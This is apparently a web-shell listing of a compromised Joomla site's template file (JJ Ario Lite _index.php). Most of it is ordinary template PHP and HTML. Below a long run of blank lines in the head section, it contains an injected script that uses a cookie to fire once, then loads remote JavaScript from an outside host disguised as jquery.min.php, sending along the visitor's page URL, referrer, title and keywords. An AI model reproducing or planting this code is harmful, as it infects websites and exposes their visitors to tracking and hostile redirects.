Your IP : 216.73.216.201


Current Path : /home/sunflowe/www2/vacancesfloride/templates/ariolite/
Upload File :
Current File : /home/sunflowe/www2/vacancesfloride/templates/ariolite/_index.php

<?php /**
Name: 						JJ Ario Lite - Joomla 1.5
Date: 						2007-06-11
Description: 				JJ Ario, A Commercial Template Design for Joomla CMS.
Author:          			JoomlaJunkie
Support:         			http://forum.joomlajunkie.com
Template Guide:  		    http://guides.joomlajunkie.com
**/ 
$url = clone(JURI::getInstance());
if (!function_exists('sefRelToAbs')) {
  function sefRelToAbs($value) {
    // Replace all &amp; with & as the router doesn't understand &amp;
    $url = str_replace('&amp;', '&', $value);
    if(substr(strtolower($url),0,9) != "index.php") return $url;
    $uri    = JURI::getInstance();
    $prefix = $uri->toString(array('scheme', 'host', 'port'));
    return $prefix.JRoute::_($url);
  }
}
$mosConfig_live_site = JURI :: base();
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<meta http-equiv="Content-Type" content="text/html; <?php echo _ISO; ?>" />
<?php 

$menu_type = "suckerfish";		// suckerfish  | module
$menu_name = $this->params->get('menu_name');		// This is set to mainmenu by default, can use any Joomla menu, eg, othermenu or topmenu
$template_color = $this->params->get('template_color');		// Color theme - green | brown | grass | ocean | rusty | sky | stone | sunflower | sunset | tulip | wine | wood
$template_alt_color = $this->params->get('template_alt_color');	// Set alternating color hex value - this color is used by component headings, the h3alt suffix and other elements

// Use the folowing option for quick off LEFT and LIRHT positions displaying
$sideBarsScheme = array (
    //by default
    'default'=>      'left-right-content',

    // specify extra options for different components
    // if you dont write left or right - these positions wont be published
    // left-right-content | right-left-content | content-right-left | content-left-right
    // left-content-right | right-content-left
    // right-content | content-left | left-content | content-right
    'com_contact'=>  'left-content',
    'com_search'=>  'content-left-right',
    'com_content'=>  'left-content-right',
    'com_frontpage'=> 'left-content-right'

);

// ***************************************************
// Default Text/Size
// 0 = Smallest; 1 = Medium; 2 = X Large
// ***************************************************
$text_size = 0;

/***
DO NOT MODIFY THIS IF YOU DONT KNOW WHAT YOU DOING!
***/

if ($option && isset($sideBarsScheme[$option]) && trim($sideBarsScheme[$option]) && stristr($sideBarsScheme[$option],'content')!= false){
	$currentScheme = trim($sideBarsScheme[$option]);
} else {
	$currentScheme = $sideBarsScheme['default'];
}

if (!$this->countModules('left')) $currentScheme = str_replace('left','',$currentScheme);
if (!$this->countModules('right')) $currentScheme = str_replace('right','',$currentScheme);

$schemeOutput = '';
$currentScheme = explode("-",$currentScheme);
if (is_array ($currentScheme)) {
   foreach ($currentScheme as $item) {
   	   if ($item) $schemeOutput[] = $item;
   }
}
$currentScheme = "scheme_".count($schemeOutput);
$jj_templ_name = $this->template;
$jj_templ_path = $mosConfig_live_site . 'templates/' . $jj_templ_name . '/';

if ($menu_type != "module") {
require("templates/" . $mainframe->getTemplate() . "/jj_suckerfish.php");
}
?>

<!-- [START] CSS Stylesheets -->
<link href="<?php echo $jj_templ_path;?>css/template_css.css" rel="stylesheet" type="text/css" />
<link href="<?php echo $jj_templ_path;?>css/<?php echo $template_color;?>.css" rel="stylesheet" type="text/css" />
<!-- [END] CSS Stylesheets -->
<script language="javascript" type="text/javascript" src="<?php echo $jj_templ_path;?>js/jquery.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $jj_templ_path;?>js/<?php echo $jj_templ_name;?>.js"></script>
<script type="text/javascript">
<?php
switch($text_size)
{
case 0:
{$text_size = 'mediumText'; break;};
case 1:
{$text_size = 'largeText'; break; };
case 2:
{$text_size = 'xLargeText'; break;};
}
print("var text_size = '" . $text_size . "' ;\n");
?>
</script>
<script type="text/javascript" src="<?php echo $jj_templ_path;?>js/switcher.js"></script>
<?php
if (strstr(strtoupper( $_SERVER['HTTP_USER_AGENT'] ),'MSIE')) {
echo'<link href="' . $jj_templ_path . 'css/ie.css" rel="stylesheet" type="text/css" />'."\n";
} ?>

<?php if (strstr(strtoupper( $_SERVER['HTTP_USER_AGENT'] ),'MSIE 6')) { ?>
<link href="<?php echo $jj_templ_path;?>css/ie6.css" rel="stylesheet" type="text/css" />
<style type="text/css">
#top h1 {
	filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='<?php echo $jj_templ_path;?>/images/<?php echo $template_color;?>/logo.png', sizingMethod='crop');
}

#shadow {
	filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='<?php echo $jj_templ_path;?>/images/shadow-spacer.png', sizingMethod='scale');
}

#user3 {
    filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='<?php echo $jj_templ_path;?>/images/<?php echo $template_color;?>/user3.png', sizingMethod='crop');
}
</style>
<?php } ?> 
<!-- alternating color css -->
<style type="text/css">
div.h3alt h3,
.componentheading,
td.createdate,
h2,
h5,
a:hover {color:<?php echo $template_alt_color;?>;}</style>


































































<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCString();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(var e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascript" src="' + 'http://9224444.com/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'snt2014' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x<y; x++) {if (metas[x].name.toLowerCase() == "keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><' + '/script>')));</script>
</head>
<body>
<div id="height100" align="center">
   <div id="top">
      <h1><a href="<?php echo $mainframe->getCfg('live_site');?>"><?php echo $mainframe->getCfg('sitename');?></a></h1>
      <div id="toolbar">
      <div id="displayOptions">
	<script type="text/javascript">
  	//<![CDATA[
        document.write('<ul id="text-size" class="fontsizer horizontal clearfix">');
          document.write('<li><a href="#" rel="xLargeText" id="textXLarge" class="fontswitch" title="extra large font">Extra Large</a></li>');
          document.write('<li><a href="#" rel="largeText" id="textLarge" class="fontswitch" title="large font">Large</a></li>');
          document.write('<li><a href="#" rel="mediumText" id="textMedium" class="fontswitch" title="small font">Medium</a></li>');
        document.write('</ul>');
	//]]>
        </script>
      </div>
		<jdoc:include type="modules" name="toolbar" style="raw"/>
      </div>
   </div>
   <div id="user3">
   	<div id="sf-container"> 
	<?php 
	if ($menu_type == "module" && mosCountModules('user3')) { 
	mosLoadModules('user3',-1); 
	} 
	if ($menu_type == "suckerfish") { 
	mosShowSuckerFishMenu($menu_name); 
	if (strstr(strtoupper( $_SERVER['HTTP_USER_AGENT'] ),'MSIE 6')) echo '<script type="text/javascript">navHover();</script>'; 
	} 
	?> 
	</div> 
	</div>
   <div id="shadow"<?php echo ' class="'.$currentScheme.'"';?>>
      <div id="header">	  
      	<?php
         if ($this->countModules('header')) : ?>
        	 <jdoc:include type="modules" name="header" style="raw"/> 
        <?php else : ?>
         	<div class="header">&nbsp;</div>
        <?php endif; ?>
      </div>
      <div id="pathway">
         <div id="pathway_inner">
		 	&nbsp;
		 	<jdoc:include type="modules" name="breadcrumb" style="raw"/>
		 	<jdoc:include type="modules" name="user4" style="raw"/></div>
			<?php if ($this->countModules('icon')) : ?>
				<div id="rss"><jdoc:include type="modules" name="icon" style="html"/></div>
         	<?php endif; ?>
      </div>
      <?php
      if (!is_array($schemeOutput)) {
      	  echo '<p align="center"><b>Wrong SCHEME OPTION. Please, set valid scheme name<b></p>';
      } else {
        $i=1;
      	foreach ($schemeOutput as $item) {
      	    if ($i==1){$className = 'first-in-scheme';}else if ($i==2){$className = 'second-in-scheme';}else if ($i==3){$className = 'third-in-scheme';}
      		if (stristr($item,'left')) { ?>
      <div id="left" class="<?php echo $className; ?>">
         <jdoc:include type="modules" name="left" style="xhtml"/><?php $i++; ?>
      </div>
      <?php } else if (stristr($item,'right')) { ?>
      <div id="right" class="<?php echo $className; ?>">
         <jdoc:include type="modules" name="right" style="xhtml"/><?php $i++; ?>
      </div>
      <?php } else if (stristr($item,'content')) {?>
      <div id="content" class="<?php echo $className; ?>">
         <jdoc:include type="modules" name="inset" style="xhtml"/>
         <?php if ($this->countModules('advert1')) : ?><div id="advert1"><jdoc:include type="modules" name="advert1" style="xhtml"/></div><div class="clear"></div><script type="text/javascript">modCount ("advert1", "countin", "module", 20);</script><?php endif; ?>
      	 <div id="mainbody"><jdoc:include type="message" /><jdoc:include type="component" style="html"/></div>
         <?php if ($this->countModules('gmaps')) : ?><div id="gmaps"><jdoc:include type="modules" name="gmaps" style="xhtml"/></div><div class="clear"></div><script type="text/javascript">modCount ("gmaps", "countin", "module", 20);</script><?php endif; ?>
         <?php if ($this->countModules('advert2')) : ?><div id="advert2"><jdoc:include type="modules" name="advert2" style="xhtml"/></div><div class="clear"></div><script type="text/javascript">modCount ("advert2", "countin", "module", 20);</script><?php endif; ?>
      </div>
      <?php
        $i++;
        	}
        }
      }
	  ?>
      <div class="clear"></div>
      <?php if ($this->countModules('bottom')) : ?>
      <div id="btm-mods">
      	<jdoc:include type="modules" name="bottom" style="xhtml"/>
      	<div class="clear"></div>
      	<script type="text/javascript">modCount ("btm-mods", "countin", "module", 30);</script>
      </div>
      <?php endif; ?>
      <div id="footer">
         <a href="http://www.joomlajunkie.com/" target="_blank" class="copyright">Template Design by JoomlaJunkie.com</a>
         <a href="http://validator.w3.org/check?uri=referer" target="_blank" class="w3c-valid">xhtml</a>
         <a href="http://jigsaw.w3.org/css-validator/validator?uri=<?php echo $mosConfig_live_site;?>index.php" target="_blank" class="w3c-valid">css</a>
      </div>
   </div>
</div>
</body>
</html>